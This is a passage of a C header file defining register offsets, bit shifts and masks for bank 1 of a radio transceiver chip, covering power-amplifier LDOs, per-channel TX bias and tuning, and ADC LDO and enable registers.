#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_TEST_EN_SHIFT 2
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_TEST_EN_MASK 0x1
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_BYPASS_EN_SHIFT 3
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_BYPASS_EN_MASK 0x1
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_VOUT_SEL_SHIFT 4
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_VOUT_SEL_MASK 0xf
#define RADIO_BK1_CH1_PA_LDO 0x7
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_TURBO_SHIFT 0
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_TURBO_MASK 0x1
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_TEST_SEL_SHIFT 1
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_TEST_SEL_MASK 0x1
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_TEST_EN_SHIFT 2
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_TEST_EN_MASK 0x1
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_BYPASS_EN_SHIFT 3
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_BYPASS_EN_MASK 0x1
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_VOUT_SEL_SHIFT 4
#define RADIO_BK1_CH1_PA_LDO_LDO11_TX_PA_VOUT_SEL_MASK 0xf
#define RADIO_BK1_CH2_PA_LDO 0x8
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_TURBO_SHIFT 0
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_TURBO_MASK 0x1
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_TEST_SEL_SHIFT 1
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_TEST_SEL_MASK 0x1
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_TEST_EN_SHIFT 2
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_TEST_EN_MASK 0x1
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_BYPASS_EN_SHIFT 3
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_BYPASS_EN_MASK 0x1
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_VOUT_SEL_SHIFT 4
#define RADIO_BK1_CH2_PA_LDO_LDO11_TX_PA_VOUT_SEL_MASK 0xf
#define RADIO_BK1_CH3_PA_LDO 0x9
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_TURBO_SHIFT 0
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_TURBO_MASK 0x1
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_TEST_SEL_SHIFT 1
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_TEST_SEL_MASK 0x1
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_TEST_EN_SHIFT 2
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_TEST_EN_MASK 0x1
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_BYPASS_EN_SHIFT 3
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_BYPASS_EN_MASK 0x1
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_VOUT_SEL_SHIFT 4
#define RADIO_BK1_CH3_PA_LDO_LDO11_TX_PA_VOUT_SEL_MASK 0xf
#define RADIO_BK1_CH0_TX_EN0 0xa
#define RADIO_BK1_CH0_TX_EN0_IDAC_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH0_TX_EN0_IDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_EN0_QDAC_BIAS_EN_SHIFT 1
#define RADIO_BK1_CH0_TX_EN0_QDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_EN0_PA_BIAS_EN_SHIFT 2
#define RADIO_BK1_CH0_TX_EN0_PA_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_EN0_PADR_BIAS_EN_SHIFT 3
#define RADIO_BK1_CH0_TX_EN0_PADR_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_EN1 0xb
#define RADIO_BK1_CH0_TX_EN1_TXBBSIG_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH0_TX_EN1_TXBBSIG_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_EN1_TXBB_BPSK_EN_SHIFT 1
#define RADIO_BK1_CH0_TX_EN1_TXBB_BPSK_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_EN1_TXBBSIG_EN_SHIFT 2
#define RADIO_BK1_CH0_TX_EN1_TXBBSIG_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_BIAS0 0xc
#define RADIO_BK1_CH0_TX_BIAS0_PA_BIAS_SHIFT 0
#define RADIO_BK1_CH0_TX_BIAS0_PA_BIAS_MASK 0xf
#define RADIO_BK1_CH0_TX_BIAS0_PADR_BIAS_SHIFT 4
#define RADIO_BK1_CH0_TX_BIAS0_PADR_BIAS_MASK 0xf
#define RADIO_BK1_CH0_TX_BIAS1 0xd
#define RADIO_BK1_CH0_TX_BIAS1_PA2_BIAS_SHIFT 0
#define RADIO_BK1_CH0_TX_BIAS1_PA2_BIAS_MASK 0xf
#define RADIO_BK1_CH0_TX_BIAS1_PDR_BIAS_SHIFT 4
#define RADIO_BK1_CH0_TX_BIAS1_PDR_BIAS_MASK 0xf
#define RADIO_BK1_CH0_TX_BIAS2 0xe
#define RADIO_BK1_CH0_TX_BIAS2_IDAC_BIAS_SHIFT 0
#define RADIO_BK1_CH0_TX_BIAS2_IDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH0_TX_BIAS2_QDAC_BIAS_SHIFT 4
#define RADIO_BK1_CH0_TX_BIAS2_QDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH0_TX_BIAS3 0xf
#define RADIO_BK1_CH0_TX_BIAS3_SHIFT 0
#define RADIO_BK1_CH0_TX_BIAS3_MASK 0xf
#define RADIO_BK1_CH0_TX_TUNE0 0x10
#define RADIO_BK1_CH0_TX_TUNE0_IDACT_SHIFT 0
#define RADIO_BK1_CH0_TX_TUNE0_IDACT_MASK 0xf
#define RADIO_BK1_CH0_TX_TUNE0_IDACS_SHIFT 4
#define RADIO_BK1_CH0_TX_TUNE0_IDACS_MASK 0x1
#define RADIO_BK1_CH0_TX_TUNE1 0x11
#define RADIO_BK1_CH0_TX_TUNE1_QDACT_SHIFT 0
#define RADIO_BK1_CH0_TX_TUNE1_QDACT_MASK 0xf
#define RADIO_BK1_CH0_TX_TUNE1_QDACS_SHIFT 4
#define RADIO_BK1_CH0_TX_TUNE1_QDACS_MASK 0x1
#define RADIO_BK1_CH0_TX_TUNE2 0x12
#define RADIO_BK1_CH0_TX_TUNE2_PDTOUT_SEL_SHIFT 0
#define RADIO_BK1_CH0_TX_TUNE2_PDTOUT_SEL_MASK 0x7
#define RADIO_BK1_CH0_TX_TUNE2_PDT_CALGEN_RSEL_SHIFT 3
#define RADIO_BK1_CH0_TX_TUNE2_PDT_CALGEN_RSEL_MASK 0x3
#define RADIO_BK1_CH0_TX_TUNE2_PDT_EN_SHIFT 5
#define RADIO_BK1_CH0_TX_TUNE2_PDT_EN_MASK 0x1
#define RADIO_BK1_CH0_TX_TUNE2_PDT_CALGEN_EN_SHIFT 6
#define RADIO_BK1_CH0_TX_TUNE2_PDT_CALGEN_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN0 0x13
#define RADIO_BK1_CH1_TX_EN0_IDAC_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH1_TX_EN0_IDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN0_QDAC_BIAS_EN_SHIFT 1
#define RADIO_BK1_CH1_TX_EN0_QDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN0_PA_BIAS_EN_SHIFT 2
#define RADIO_BK1_CH1_TX_EN0_PA_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN0_PADR_BIAS_EN_SHIFT 3
#define RADIO_BK1_CH1_TX_EN0_PADR_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN1 0x14
#define RADIO_BK1_CH1_TX_EN1_TXBBSIG_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH1_TX_EN1_TXBBSIG_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN1_TXBB_BPSK_EN_SHIFT 1
#define RADIO_BK1_CH1_TX_EN1_TXBB_BPSK_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_EN1_TXBBSIG_EN_SHIFT 2
#define RADIO_BK1_CH1_TX_EN1_TXBBSIG_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_BIAS0 0x15
#define RADIO_BK1_CH1_TX_BIAS0_PA_BIAS_SHIFT 0
#define RADIO_BK1_CH1_TX_BIAS0_PA_BIAS_MASK 0xf
#define RADIO_BK1_CH1_TX_BIAS0_PADR_BIAS_SHIFT 4
#define RADIO_BK1_CH1_TX_BIAS0_PADR_BIAS_MASK 0xf
#define RADIO_BK1_CH1_TX_BIAS1 0x16
#define RADIO_BK1_CH1_TX_BIAS1_PA2_BIAS_SHIFT 0
#define RADIO_BK1_CH1_TX_BIAS1_PA2_BIAS_MASK 0xf
#define RADIO_BK1_CH1_TX_BIAS1_PDR_BIAS_SHIFT 4
#define RADIO_BK1_CH1_TX_BIAS1_PDR_BIAS_MASK 0xf
#define RADIO_BK1_CH1_TX_BIAS2 0x17
#define RADIO_BK1_CH1_TX_BIAS2_IDAC_BIAS_SHIFT 0
#define RADIO_BK1_CH1_TX_BIAS2_IDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH1_TX_BIAS2_QDAC_BIAS_SHIFT 4
#define RADIO_BK1_CH1_TX_BIAS2_QDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH1_TX_BIAS3 0x18
#define RADIO_BK1_CH1_TX_BIAS3_SHIFT 0
#define RADIO_BK1_CH1_TX_BIAS3_MASK 0xf
#define RADIO_BK1_CH1_TX_TUNE0 0x19
#define RADIO_BK1_CH1_TX_TUNE0_IDACT_SHIFT 0
#define RADIO_BK1_CH1_TX_TUNE0_IDACT_MASK 0xf
#define RADIO_BK1_CH1_TX_TUNE0_IDACS_SHIFT 4
#define RADIO_BK1_CH1_TX_TUNE0_IDACS_MASK 0x1
#define RADIO_BK1_CH1_TX_TUNE1 0x1a
#define RADIO_BK1_CH1_TX_TUNE1_QDACT_SHIFT 0
#define RADIO_BK1_CH1_TX_TUNE1_QDACT_MASK 0xf
#define RADIO_BK1_CH1_TX_TUNE1_QDACS_SHIFT 4
#define RADIO_BK1_CH1_TX_TUNE1_QDACS_MASK 0x1
#define RADIO_BK1_CH1_TX_TUNE2 0x1b
#define RADIO_BK1_CH1_TX_TUNE2_PDTOUT_SEL_SHIFT 0
#define RADIO_BK1_CH1_TX_TUNE2_PDTOUT_SEL_MASK 0x7
#define RADIO_BK1_CH1_TX_TUNE2_PDT_CALGEN_RSEL_SHIFT 3
#define RADIO_BK1_CH1_TX_TUNE2_PDT_CALGEN_RSEL_MASK 0x3
#define RADIO_BK1_CH1_TX_TUNE2_PDT_EN_SHIFT 5
#define RADIO_BK1_CH1_TX_TUNE2_PDT_EN_MASK 0x1
#define RADIO_BK1_CH1_TX_TUNE2_PDT_CALGEN_EN_SHIFT 6
#define RADIO_BK1_CH1_TX_TUNE2_PDT_CALGEN_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN0 0x1c
#define RADIO_BK1_CH2_TX_EN0_IDAC_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH2_TX_EN0_IDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN0_QDAC_BIAS_EN_SHIFT 1
#define RADIO_BK1_CH2_TX_EN0_QDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN0_PA_BIAS_EN_SHIFT 2
#define RADIO_BK1_CH2_TX_EN0_PA_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN0_PADR_BIAS_EN_SHIFT 3
#define RADIO_BK1_CH2_TX_EN0_PADR_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN1 0x1d
#define RADIO_BK1_CH2_TX_EN1_TXBBSIG_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH2_TX_EN1_TXBBSIG_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN1_TXBB_BPSK_EN_SHIFT 1
#define RADIO_BK1_CH2_TX_EN1_TXBB_BPSK_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_EN1_TXBBSIG_EN_SHIFT 2
#define RADIO_BK1_CH2_TX_EN1_TXBBSIG_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_BIAS0 0x1e
#define RADIO_BK1_CH2_TX_BIAS0_PA_BIAS_SHIFT 0
#define RADIO_BK1_CH2_TX_BIAS0_PA_BIAS_MASK 0xf
#define RADIO_BK1_CH2_TX_BIAS0_PADR_BIAS_SHIFT 4
#define RADIO_BK1_CH2_TX_BIAS0_PADR_BIAS_MASK 0xf
#define RADIO_BK1_CH2_TX_BIAS1 0x1f
#define RADIO_BK1_CH2_TX_BIAS1_PA2_BIAS_SHIFT 0
#define RADIO_BK1_CH2_TX_BIAS1_PA2_BIAS_MASK 0xf
#define RADIO_BK1_CH2_TX_BIAS1_PDR_BIAS_SHIFT 4
#define RADIO_BK1_CH2_TX_BIAS1_PDR_BIAS_MASK 0xf
#define RADIO_BK1_CH2_TX_BIAS2 0x20
#define RADIO_BK1_CH2_TX_BIAS2_IDAC_BIAS_SHIFT 0
#define RADIO_BK1_CH2_TX_BIAS2_IDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH2_TX_BIAS2_QDAC_BIAS_SHIFT 4
#define RADIO_BK1_CH2_TX_BIAS2_QDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH2_TX_BIAS3 0x21
#define RADIO_BK1_CH2_TX_BIAS3_SHIFT 0
#define RADIO_BK1_CH2_TX_BIAS3_MASK 0xf
#define RADIO_BK1_CH2_TX_TUNE0 0x22
#define RADIO_BK1_CH2_TX_TUNE0_IDACT_SHIFT 0
#define RADIO_BK1_CH2_TX_TUNE0_IDACT_MASK 0xf
#define RADIO_BK1_CH2_TX_TUNE0_IDACS_SHIFT 4
#define RADIO_BK1_CH2_TX_TUNE0_IDACS_MASK 0x1
#define RADIO_BK1_CH2_TX_TUNE1 0x23
#define RADIO_BK1_CH2_TX_TUNE1_QDACT_SHIFT 0
#define RADIO_BK1_CH2_TX_TUNE1_QDACT_MASK 0xf
#define RADIO_BK1_CH2_TX_TUNE1_QDACS_SHIFT 4
#define RADIO_BK1_CH2_TX_TUNE1_QDACS_MASK 0x1
#define RADIO_BK1_CH2_TX_TUNE2 0x24
#define RADIO_BK1_CH2_TX_TUNE2_PDTOUT_SEL_SHIFT 0
#define RADIO_BK1_CH2_TX_TUNE2_PDTOUT_SEL_MASK 0x7
#define RADIO_BK1_CH2_TX_TUNE2_PDT_CALGEN_RSEL_SHIFT 3
#define RADIO_BK1_CH2_TX_TUNE2_PDT_CALGEN_RSEL_MASK 0x3
#define RADIO_BK1_CH2_TX_TUNE2_PDT_EN_SHIFT 5
#define RADIO_BK1_CH2_TX_TUNE2_PDT_EN_MASK 0x1
#define RADIO_BK1_CH2_TX_TUNE2_PDT_CALGEN_EN_SHIFT 6
#define RADIO_BK1_CH2_TX_TUNE2_PDT_CALGEN_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN0 0x25
#define RADIO_BK1_CH3_TX_EN0_IDAC_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH3_TX_EN0_IDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN0_QDAC_BIAS_EN_SHIFT 1
#define RADIO_BK1_CH3_TX_EN0_QDAC_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN0_PA_BIAS_EN_SHIFT 2
#define RADIO_BK1_CH3_TX_EN0_PA_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN0_PADR_BIAS_EN_SHIFT 3
#define RADIO_BK1_CH3_TX_EN0_PADR_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN1 0x26
#define RADIO_BK1_CH3_TX_EN1_TXBBSIG_BIAS_EN_SHIFT 0
#define RADIO_BK1_CH3_TX_EN1_TXBBSIG_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN1_TXBB_BPSK_EN_SHIFT 1
#define RADIO_BK1_CH3_TX_EN1_TXBB_BPSK_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_EN1_TXBBSIG_EN_SHIFT 2
#define RADIO_BK1_CH3_TX_EN1_TXBBSIG_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_BIAS0 0x27
#define RADIO_BK1_CH3_TX_BIAS0_PA_BIAS_SHIFT 0
#define RADIO_BK1_CH3_TX_BIAS0_PA_BIAS_MASK 0xf
#define RADIO_BK1_CH3_TX_BIAS0_PADR_BIAS_SHIFT 4
#define RADIO_BK1_CH3_TX_BIAS0_PADR_BIAS_MASK 0xf
#define RADIO_BK1_CH3_TX_BIAS1 0x28
#define RADIO_BK1_CH3_TX_BIAS1_PA2_BIAS_SHIFT 0
#define RADIO_BK1_CH3_TX_BIAS1_PA2_BIAS_MASK 0xf
#define RADIO_BK1_CH3_TX_BIAS1_PDR_BIAS_SHIFT 4
#define RADIO_BK1_CH3_TX_BIAS1_PDR_BIAS_MASK 0xf
#define RADIO_BK1_CH3_TX_BIAS2 0x29
#define RADIO_BK1_CH3_TX_BIAS2_IDAC_BIAS_SHIFT 0
#define RADIO_BK1_CH3_TX_BIAS2_IDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH3_TX_BIAS2_QDAC_BIAS_SHIFT 4
#define RADIO_BK1_CH3_TX_BIAS2_QDAC_BIAS_MASK 0xf
#define RADIO_BK1_CH3_TX_BIAS3 0x2a
#define RADIO_BK1_CH3_TX_BIAS3_SHIFT 0
#define RADIO_BK1_CH3_TX_BIAS3_MASK 0xf
#define RADIO_BK1_CH3_TX_TUNE0 0x2b
#define RADIO_BK1_CH3_TX_TUNE0_IDACT_SHIFT 0
#define RADIO_BK1_CH3_TX_TUNE0_IDACT_MASK 0xf
#define RADIO_BK1_CH3_TX_TUNE0_IDACS_SHIFT 4
#define RADIO_BK1_CH3_TX_TUNE0_IDACS_MASK 0x1
#define RADIO_BK1_CH3_TX_TUNE1 0x2c
#define RADIO_BK1_CH3_TX_TUNE1_QDACT_SHIFT 0
#define RADIO_BK1_CH3_TX_TUNE1_QDACT_MASK 0xf
#define RADIO_BK1_CH3_TX_TUNE1_QDACS_SHIFT 4
#define RADIO_BK1_CH3_TX_TUNE1_QDACS_MASK 0x1
#define RADIO_BK1_CH3_TX_TUNE2 0x2d
#define RADIO_BK1_CH3_TX_TUNE2_PDTOUT_SEL_SHIFT 0
#define RADIO_BK1_CH3_TX_TUNE2_PDTOUT_SEL_MASK 0x7
#define RADIO_BK1_CH3_TX_TUNE2_PDT_CALGEN_RSEL_SHIFT 3
#define RADIO_BK1_CH3_TX_TUNE2_PDT_CALGEN_RSEL_MASK 0x3
#define RADIO_BK1_CH3_TX_TUNE2_PDT_EN_SHIFT 5
#define RADIO_BK1_CH3_TX_TUNE2_PDT_EN_MASK 0x1
#define RADIO_BK1_CH3_TX_TUNE2_PDT_CALGEN_EN_SHIFT 6
#define RADIO_BK1_CH3_TX_TUNE2_PDT_CALGEN_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO0 0x2e
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_TURBO_SHIFT 0
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_TURBO_MASK 0x1
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_TEST_SEL_SHIFT 1
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_TEST_SEL_MASK 0x1
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_TEST_EN_SHIFT 2
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_TEST_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_BYPASS_EN_SHIFT 3
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_BYPASS_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_VOUT_SEL_SHIFT 4
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_VOUT_SEL_MASK 0x7
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_EN_SHIFT 7
#define RADIO_BK1_ADC_LDO0_LDO11_ADC12_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO1 0x2f
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_TURBO_SHIFT 0
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_TURBO_MASK 0x1
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_TEST_SEL_SHIFT 1
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_TEST_SEL_MASK 0x1
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_TEST_EN_SHIFT 2
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_TEST_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_BYPASS_EN_SHIFT 3
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_BYPASS_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_VOUT_SEL_SHIFT 4
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_VOUT_SEL_MASK 0x7
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_EN_SHIFT 7
#define RADIO_BK1_ADC_LDO1_LDO12_ADC12_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO2 0x30
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_TURBO_SHIFT 0
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_TURBO_MASK 0x1
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_TEST_SEL_SHIFT 1
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_TEST_SEL_MASK 0x1
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_TEST_EN_SHIFT 2
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_TEST_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_BYPASS_EN_SHIFT 3
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_BYPASS_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_VOUT_SEL_SHIFT 4
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_VOUT_SEL_MASK 0x7
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_EN_SHIFT 7
#define RADIO_BK1_ADC_LDO2_LDO25_ADC12_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO3 0x31
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_TURBO_SHIFT 0
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_TURBO_MASK 0x1
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_TEST_SEL_SHIFT 1
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_TEST_SEL_MASK 0x1
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_TEST_EN_SHIFT 2
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_TEST_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_BYPASS_EN_SHIFT 3
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_BYPASS_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_VOUT_SEL_SHIFT 4
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_VOUT_SEL_MASK 0x7
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_EN_SHIFT 7
#define RADIO_BK1_ADC_LDO3_LDO11_ADC34_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO4 0x32
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_TURBO_SHIFT 0
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_TURBO_MASK 0x1
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_TEST_SEL_SHIFT 1
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_TEST_SEL_MASK 0x1
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_TEST_EN_SHIFT 2
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_TEST_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_BYPASS_EN_SHIFT 3
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_BYPASS_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_VOUT_SEL_SHIFT 4
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_VOUT_SEL_MASK 0x7
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_EN_SHIFT 7
#define RADIO_BK1_ADC_LDO4_LDO12_ADC34_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO5 0x33
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_TURBO_SHIFT 0
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_TURBO_MASK 0x1
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_TEST_SEL_SHIFT 1
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_TEST_SEL_MASK 0x1
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_TEST_EN_SHIFT 2
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_TEST_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_BYPASS_EN_SHIFT 3
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_BYPASS_EN_MASK 0x1
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_VOUT_SEL_SHIFT 4
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_VOUT_SEL_MASK 0x7
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_EN_SHIFT 7
#define RADIO_BK1_ADC_LDO5_LDO25_ADC34_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0 0x34
#define RADIO_BK1_CH0_ADC_EN0_OP3_EN_SHIFT 0
#define RADIO_BK1_CH0_ADC_EN0_OP3_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_OP2_EN_SHIFT 1
#define RADIO_BK1_CH0_ADC_EN0_OP2_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_OP1_EN_SHIFT 2
#define RADIO_BK1_CH0_ADC_EN0_OP1_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_ANALS_EN_SHIFT 3
#define RADIO_BK1_CH0_ADC_EN0_ANALS_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_BUFFER_VCMBUF_EN_SHIFT 4
#define RADIO_BK1_CH0_ADC_EN0_BUFFER_VCMBUF_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_BUFFER_EN_SHIFT 5
#define RADIO_BK1_CH0_ADC_EN0_BUFFER_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_RST_SHIFT 6
#define RADIO_BK1_CH0_ADC_EN0_RST_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN0_BW20M_EN_SHIFT 7
#define RADIO_BK1_CH0_ADC_EN0_BW20M_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1 0x35
#define RADIO_BK1_CH0_ADC_EN1_ZEROSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_EN1_ZEROSEL_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_REFNBUF_EN_SHIFT 1
#define RADIO_BK1_CH0_ADC_EN1_REFNBUF_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_REFPBUF_EN_SHIFT 2
#define RADIO_BK1_CH0_ADC_EN1_REFPBUF_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_ESL_EN_SHIFT 3
#define RADIO_BK1_CH0_ADC_EN1_ESL_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_IDAC3_EN_SHIFT 4
#define RADIO_BK1_CH0_ADC_EN1_IDAC3_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_IDAC1_EN_SHIFT 5
#define RADIO_BK1_CH0_ADC_EN1_IDAC1_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_BIAS_EN_SHIFT 6
#define RADIO_BK1_CH0_ADC_EN1_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_EN1_CMP_VCALREF_EN_SHIFT 7
#define RADIO_BK1_CH0_ADC_EN1_CMP_VCALREF_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE0 0x36
#define RADIO_BK1_CH0_ADC_TUNE0_OP_SHORTRST_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE0_OP_SHORTRST_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE0_OP_FBRST_SHIFT 1
#define RADIO_BK1_CH0_ADC_TUNE0_OP_FBRST_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE0_IDAC_RST_SHIFT 2
